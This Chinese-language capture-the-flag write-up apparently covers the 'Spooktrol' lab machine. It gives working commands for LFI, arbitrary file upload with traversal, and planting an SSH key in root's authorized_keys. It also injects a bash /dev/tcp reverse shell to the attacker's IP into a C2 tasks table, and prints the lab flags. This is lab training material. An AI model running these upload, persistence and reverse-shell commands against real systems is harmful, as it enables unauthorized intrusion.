[Meachines] [Hard] Spooktrol uvicorn-LFI+C2-RE+D-Link-V2文件同步+ C2任务表注入权限提升
字数 931 2025-08-29 08:30:06

Spooktrol 渗透测试教学文档

1. 目标信息收集

1.1 初始扫描

目标IP: 10.10.11.123

开放端口:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu
  • 80/tcp: uvicorn HTTP服务
  • 2222/tcp: OpenSSH 8.2p1 Ubuntu

扫描命令:

ip='10.10.11.123'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.2 HTTP服务发现

80端口运行uvicorn服务,关键发现:

  • 访问/file_management/?file=*存在LFI漏洞
  • robots.txt泄露敏感路径: /_/file_management/?file=implant
  • 初始GET请求返回认证token: {"auth":"137a77107d9f6e5ed694feec9d37b192"}

2. 漏洞利用

2.1 本地文件包含(LFI)利用

使用pany.py工具枚举系统用户:

python3 pany.py -u 'http://10.10.11.123/file_management/?file=*'

获取implant文件:

wget http://10.10.11.123/file_management/?file=implant -O implant

2.2 文件上传漏洞利用

发现文件上传端点/file_upload/,可上传任意文件到任意位置:

  1. 添加hosts记录:
echo '10.10.11.123 spooktrol.htb'>>/etc/hosts
  1. 测试上传:
curl -X PUT http://spooktrol.htb/file_upload/ -H "Cookie: auth=0000" -F 'file=@/tmp/test.txt;filename=tmp/test.txt'
  1. 验证上传:
curl 'http://10.10.11.123/file_management/?file=tmp/test.txt'

2.3 SSH公钥注入提权

  1. 上传公钥到root的authorized_keys:
curl -X PUT http://spooktrol.htb/file_upload/ -H "Cookie: auth=0000" -F 'file=@/home/maptnh/.ssh/id_rsa.pub;filename=root/.ssh/authorized_keys'
  1. 通过2222端口SSH登录:
ssh root@10.10.11.123 -p 2222

获取user flag: b7cb2e810b4872b0681e7805f4284d15

3. 权限提升

3.1 使用D-Link进行目录同步

  1. 上传dlink工具:
curl -X PUT http://spooktrol.htb/file_upload/ -H "Cookie: auth=0000" -F 'file=@/home/maptnh/Desktop/dlink;filename=tmp/dlink'
  1. 服务端设置:
./dlink server --port 10098 --path /tmp/root --key abcdefgh &
./dlink server --port 10099 --path /tmp/root --key abcdefgh --reverse
  1. 客户端连接:
./dlink client --endpoint "10.10.16.33:10098" --path /opt --key abcdefgh &
./dlink client --endpoint "10.10.16.33:10099" --path /opt --key abcdefgh --reverse

3.2 C2任务表注入

  1. 检查数据库:
sqlite3 sql_app.db
  1. 查询会话:
select * from sessions;
select * from checkins where session='10a6dd5dde6094059db4d23d7710ae12';
  1. 注入恶意任务:
INSERT INTO tasks VALUES(2,'10a6dd5dde6094059db4d23d7710ae12',0,1,'bash -c "bash -i >& /dev/tcp/10.10.16.33/443 0>&1"');
  1. 同步数据库文件:
cp /tmp/sql_app.db /tmp/root/sql_app.db
  1. 等待获取反向shell

获取root flag: c1dd82958c07aa1752ff511be0fc59f1

4. 攻击原理总结

  1. 初始入侵:

    • 利用C2恶意软件的目录穿越漏洞上传文件
    • 通过写入SSH公钥实现root权限获取
  2. C2机制分析:

    • tasks表中存放C2命令任务,根据客户端session发布命令
    • 攻击者每两分钟连接C2服务器获取任务
    • 受害者连接时会执行服务端下发的命令
  3. 权限提升技巧:

    • 利用D-Link工具实现目录同步
    • 通过注入虚假的未执行语句实现任务注入
    • 攻击者连接时获取并执行注入的反向shell
Spooktrol 渗透测试教学文档 1. 目标信息收集 1.1 初始扫描 目标IP: 10.10.11.123 开放端口: 22/tcp: OpenSSH 8.2p1 Ubuntu 80/tcp: uvicorn HTTP服务 2222/tcp: OpenSSH 8.2p1 Ubuntu 扫描命令: 1.2 HTTP服务发现 80端口运行uvicorn服务,关键发现: 访问 /file_management/?file=* 存在LFI漏洞 robots.txt泄露敏感路径: /_/file_management/?file=implant 初始GET请求返回认证token: {"auth":"137a77107d9f6e5ed694feec9d37b192"} 2. 漏洞利用 2.1 本地文件包含(LFI)利用 使用pany.py工具枚举系统用户: 获取implant文件: 2.2 文件上传漏洞利用 发现文件上传端点 /file_upload/ ,可上传任意文件到任意位置: 添加hosts记录: 测试上传: 验证上传: 2.3 SSH公钥注入提权 上传公钥到root的authorized_ keys: 通过2222端口SSH登录: 获取user flag: b7cb2e810b4872b0681e7805f4284d15 3. 权限提升 3.1 使用D-Link进行目录同步 上传dlink工具: 服务端设置: 客户端连接: 3.2 C2任务表注入 检查数据库: 查询会话: 注入恶意任务: 同步数据库文件: 等待获取反向shell 获取root flag: c1dd82958c07aa1752ff511be0fc59f1 4. 攻击原理总结 初始入侵 : 利用C2恶意软件的目录穿越漏洞上传文件 通过写入SSH公钥实现root权限获取 C2机制分析 : tasks表中存放C2命令任务,根据客户端session发布命令 攻击者每两分钟连接C2服务器获取任务 受害者连接时会执行服务端下发的命令 权限提升技巧 : 利用D-Link工具实现目录同步 通过注入虚假的未执行语句实现任务注入 攻击者连接时获取并执行注入的反向shell